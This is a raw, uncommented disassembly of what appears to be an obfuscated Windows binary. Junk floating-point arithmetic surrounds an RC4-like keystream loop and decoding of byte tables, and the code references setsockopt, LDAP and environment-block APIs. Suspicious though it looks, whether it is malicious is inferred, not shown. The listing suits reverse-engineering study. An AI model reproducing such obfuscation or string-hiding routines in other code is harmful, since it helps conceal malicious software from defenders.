movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm0, xmm1
jbe 0x1400edeff
movzx r9d, byte [0x14049ec64]
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
jmp 0x1400edfbc
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
xor r9d, r9d
mov dword [rsp + 0x140], 0x46d3e800
mov dword [rsp + 0x280], 0x46b09800
mov dword [rsp + 0x230], 0x468d4800
mov dword [rsp + 0x1f0], 0x4653f000
mov dword [rsp + 0x1d0], 0x460d5000
mov dword [rsp + 0x250], 0x458d6000
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
jbe 0x1400ee18a
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
jmp 0x1400ee476
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm1, xmm0
jbe 0x1400ee3c0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
jmp 0x1400ee476
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movzx esi, byte [rsp + r11 + 0x2b0]
mov rax, qword [rsp + 0x98]
add cl, byte [rsp + rax + 0x2b0]
lea edi, [rax + 1]
movzx ebx, cl
movzx ebp, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r11 + 0x2b0], bpl
movzx ebp, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bpl
mov byte [rsp + rdi + 0x2b0], sil
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, sil
movzx edi, bl
movzx r11d, byte [rsp + r11 + 0x2b0]
add r11b, byte [rsp + r10 + 0x2b0]
movzx r10d, byte [rsp + rdi + 0x2b0]
add dl, byte [rsp + rsi + 0x2b0]
movzx esi, dl
add r11b, byte [rsp + rsi + 0x2b0]
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
shl r8b, 4
add r8b, 0xb0
add r9b, 0xf1
or r9b, r8b
xor r10b, byte [rsp + r11 + 0x2b0]
xor r10b, r9b
xor r15d, r15d
lea rdi, [fcn.14049ec63]
movabs r13, 0x40cfd40000000000
movabs r14, 0x40bfd50000000000
jmp 0x1400ee696
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
mov ebx, r9d
mov rax, qword [rsp + 0x98]
lea rsi, [r15 + rax]
inc rsi
movzx r9d, r9b
movzx r11d, byte [rsp + r9 + 0x2b0]
lea ebp, [rax + r15]
add ebp, 2
movzx esi, sil
add cl, byte [rsp + rsi + 0x2b0]
movzx eax, cl
movzx esi, byte [rsp + rax + 0x2b0]
mov byte [rsp + r9 + 0x2b0], sil
movzx r12d, r10b
movzx r10d, byte [rsp + r12 + 0x2b0]
mov byte [rsp + rax + 0x2b0], r10b
movzx esi, bpl
movzx r10d, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r12 + 0x2b0], r10b
mov byte [rsp + rsi + 0x2b0], r11b
add dl, byte [rsp + r11 + 0x2b0]
movzx eax, byte [rsp + rax + 0x2b0]
add al, r11b
movzx eax, al
movzx r10d, byte [rsp + rax + 0x2b0]
movzx eax, byte [rsp + r9 + 0x2b0]
add al, byte [rsp + r12 + 0x2b0]
movzx r9d, dl
add al, byte [rsp + r9 + 0x2b0]
movzx eax, al
movzx eax, byte [rsp + rax + 0x2b0]
xor r10b, byte [rsp + rax + 0x2b0]
xor r10b, bl
movsx eax, r10b
mov word [rsp + r15*2 + 0x2a2], ax
mov r15, r8
mov r9d, ebx
cmp r8, 2
je 0x1400ee7a9
lea r8, [r15 + 1]
movzx r11d, byte [rdi + r15*2 + 2]
movzx ebx, byte [rdi + r15*2 + 3]
movabs rax, 0x40d7dec000000000
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x280], r13
mov qword [rsp + 0x230], r14
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x230]
ucomisd xmm0, xmm1
jbe 0x1400ee560
shl r11b, 4
add r11b, 0xb0
add bl, 0xf1
or bl, r11b
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
jmp 0x1400ee5b4
movzx r9d, byte [0x14049ec69]
movzx eax, byte [0x14049ec6a]
add al, 0xf1
shl r9b, 4
add r9b, 0xb0
or r9b, al
movabs rax, 0x40d9f0c000000000
mov qword [rsp + 0x140], rax
movabs rax, 0x40d14b4000000000
mov qword [rsp + 0x280], rax
movabs rax, 0x40c14b8000000000
mov qword [rsp + 0x230], rax
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x230]
ucomisd xmm1, xmm0
movzx edi, bl
mov r14, qword [rsp + 0xe98]
jbe 0x1400ee9ab
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm0, xmm1
jbe 0x1400eea0b
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
jmp 0x1400eea68
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movzx r11d, byte [rsp + rdi + 0x2b0]
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
jmp 0x1400eea68
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
divsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movzx r11d, r11b
mov r15, qword [rsp + 0x98]
lea eax, [r15 + r8]
add eax, 2
add cl, byte [rsp + rsi + 0x2b0]
movzx ecx, cl
movzx ebx, byte [rsp + rcx + 0x2b0]
mov byte [rsp + rdi + 0x2b0], bl
movzx r10d, r10b
movzx ebx, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rcx + 0x2b0], bl
movzx eax, al
movzx ebx, byte [rsp + rax + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bl
mov byte [rsp + rax + 0x2b0], r11b
add dl, byte [rsp + r11 + 0x2b0]
movzx eax, byte [rsp + rcx + 0x2b0]
add al, r11b
movzx eax, al
movzx ebx, byte [rsp + rdi + 0x2b0]
add bl, byte [rsp + r10 + 0x2b0]
movzx eax, byte [rsp + rax + 0x2b0]
movzx esi, dl
add bl, byte [rsp + rsi + 0x2b0]
movzx edx, bl
movzx edx, byte [rsp + rdx + 0x2b0]
xor al, byte [rsp + rdx + 0x2b0]
xor al, r9b
movsx eax, al
mov word [rsp + 0x2a6], ax
movzx edx, byte [0x14049ec6b]
movzx r10d, byte [reloc.WLDAP32.dll_Ordinal_27]
add r10b, 0xf1
shl dl, 4
add dl, 0xb0
or dl, r10b
movzx edi, r9b
movzx r9d, byte [rsp + rdi + 0x2b0]
lea ebx, [r15 + r8]
add ebx, 3
add cl, r11b
movzx r10d, cl
movzx ecx, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rdi + 0x2b0], cl
movzx eax, al
movzx ecx, byte [rsp + rax + 0x2b0]
mov byte [rsp + r10 + 0x2b0], cl
movzx ecx, bl
movzx r11d, byte [rsp + rcx + 0x2b0]
mov byte [rsp + rax + 0x2b0], r11b
mov byte [rsp + rcx + 0x2b0], r9b
add sil, byte [rsp + r9 + 0x2b0]
movzx ecx, byte [rsp + r10 + 0x2b0]
add cl, r9b
movzx ecx, cl
movzx ebx, byte [rsp + rdi + 0x2b0]
add bl, byte [rsp + rax + 0x2b0]
movzx eax, byte [rsp + rcx + 0x2b0]
movzx r11d, sil
add bl, byte [rsp + r11 + 0x2b0]
movzx ecx, bl
movzx ecx, byte [rsp + rcx + 0x2b0]
xor al, byte [rsp + rcx + 0x2b0]
xor al, dl
movsx eax, al
mov word [rsp + 0x2a8], ax
movzx ecx, byte [0x14049ec6d]
movzx ebx, byte [reloc.WS2_32.dll_setsockopt]
add bl, 0xf1
shl cl, 4
add cl, 0xb0
movzx esi, dl
movzx edx, byte [rsp + rsi + 0x2b0]
add r10b, r9b
lea edi, [r15 + r8]
add edi, 4
movzx r9d, r10b
movzx r10d, byte [rsp + r9 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], r10b
movzx eax, al
movzx r10d, byte [rsp + rax + 0x2b0]
mov byte [rsp + r9 + 0x2b0], r10b
movzx r10d, dil
movzx edi, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rax + 0x2b0], dil
mov byte [rsp + r10 + 0x2b0], dl
add r11b, byte [rsp + rdx + 0x2b0]
or cl, bl
movzx r10d, byte [rsp + r9 + 0x2b0]
add r10b, dl
movzx r10d, r10b
movzx ebx, byte [rsp + r10 + 0x2b0]
movzx esi, byte [rsp + rsi + 0x2b0]
add sil, byte [rsp + rax + 0x2b0]
movzx r10d, r11b
add sil, byte [rsp + r10 + 0x2b0]
movzx eax, sil
movzx eax, byte [rsp + rax + 0x2b0]
xor bl, byte [rsp + rax + 0x2b0]
xor bl, cl
movsx eax, bl
mov word [rsp + 0x2aa], ax
movzx r11d, byte [0x14049ec6f]
movzx ebx, byte [reloc.WLDAP32.dll_Ordinal_27]
add bl, 0xf1
shl r11b, 4
add r11b, 0xb0
or r11b, bl
movzx esi, cl
movzx ecx, byte [rsp + rsi + 0x2b0]
lea edi, [r15 + r8]
add edi, 5
add r9b, dl
movzx edx, r9b
movzx r9d, byte [rsp + rdx + 0x2b0]
mov byte [rsp + rsi + 0x2b0], r9b
movzx eax, al
movzx r9d, byte [rsp + rax + 0x2b0]
mov byte [rsp + rdx + 0x2b0], r9b
movzx r9d, dil
movzx ebx, byte [rsp + r9 + 0x2b0]
mov byte [rsp + rax + 0x2b0], bl
mov byte [rsp + r9 + 0x2b0], cl
add r10b, byte [rsp + rcx + 0x2b0]
movzx r9d, byte [rsp + rdx + 0x2b0]
add r9b, cl
movzx r9d, r9b
movzx r9d, byte [rsp + r9 + 0x2b0]
movzx ebx, byte [rsp + rsi + 0x2b0]
add bl, byte [rsp + rax + 0x2b0]
movzx eax, r10b
add bl, byte [rsp + rax + 0x2b0]
movzx eax, bl
movzx eax, byte [rsp + rax + 0x2b0]
xor r9b, byte [rsp + rax + 0x2b0]
xor r9b, r11b
movsx eax, r9b
mov word [rsp + 0x2ac], ax
movzx r9d, r11b
movzx r10d, byte [rsp + r9 + 0x2b0]
add r8d, r15d
add r8d, 6
add dl, cl
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x2b0]
mov byte [rsp + r9 + 0x2b0], dl
movzx eax, al
movzx edx, byte [rsp + rax + 0x2b0]
mov byte [rsp + rcx + 0x2b0], dl
movzx ecx, r8b
movzx edx, byte [rsp + rcx + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
mov byte [rsp + rcx + 0x2b0], r10b
mov word [rsp + 0x2ae], 0
lea rsi, [rsp + 0xe0]
lea rdx, [rsp + 0x2a2]
mov rcx, rsi
call r14
mov ecx, eax
call fcn.1401063a0
xor r13d, r13d
test eax, eax
je 0x1400ffa8a
lea rdi, [rsp + 0xf0]
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
call r14
mov ecx, eax
call fcn.1401063a0
test eax, eax
je 0x1400ffa8a
mov qword [rsp + 0x138], 0
xor r13d, r13d
lea rcx, [rsp + 0x138]
xor edx, edx
mov r8d, 1
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
je 0x1400ffa8a
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d9280]
ucomisd xmm0, xmm1
jbe 0x1400eefe0
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9290]
movapd xmm2, xmmword [0x1404d92a0]
movsd xmm3, qword [0x1404d92b0]
movsd xmm4, qword [0x1404d92b8]
movsd xmm5, qword [0x1404d7b00]
jmp 0x1400eef29
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400eefe0
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400eef00
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400eef00
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400ef002
call fcn.14049ec89
call fcn.14049ecbf
jmp 0x1400f00a1
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.14049ecbf]
lea r10, [0x1401042c0]
xor esi, esi
xor r11d, r11d
jmp 0x1400ef129
dec r8
je 0x1400ef275
mov edx, 1
cmp r8, 2
jb 0x1400ef149
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400ef140
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400ef160
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400ef1f0
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400ef1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400ef1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400ef1f0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x2b0]
inc r11d
lea esi, [rax + 0x1c]
cmp r11d, 0x1c
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400ef230
mov ebx, eax
cmp r8, rbx
jb 0x1400ef150
jmp 0x1400ef237
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400ef120
movzx edx, byte [rsp + r8 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r8 + 0x2b0], dl
jmp 0x1400ef120
movzx edi, byte [rsp + 0x2b1]
movzx ecx, byte [rsp + 0x2b3]
movzx edx, byte [rsp + 0x2b5]
movzx r10d, byte [rsp + 0x2b7]
movzx r8d, sil
movzx r11d, byte [rsp + r8 + 0x2b0]
mov dword [rsp + 0x140], 0x46f0de00
mov dword [rsp + 0x280], 0x46b4a800
mov dword [rsp + 0x230], 0x4670e400
mov dword [rsp + 0x1f0], 0x45f0f000
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x280]
jbe 0x1400ef3d4
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
jmp 0x1400ef443
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movzx eax, byte [fcn.14049ec89]
movzx r9d, byte [0x14049ec8a]
add eax, 0xffffff86
movabs r8, 0x40d7e6c000000000
mov qword [rsp + 0x140], r8
movabs r8, 0x40d47cc000000000
mov qword [rsp + 0x280], r8
movabs r8, 0x40d112c000000000
mov qword [rsp + 0x230], r8
movabs r8, 0x40cb518000000000
mov qword [rsp + 0x1f0], r8
movabs r8, 0x40c47d8000000000
mov qword [rsp + 0x1d0], r8
movabs r8, 0x40bb530000000000
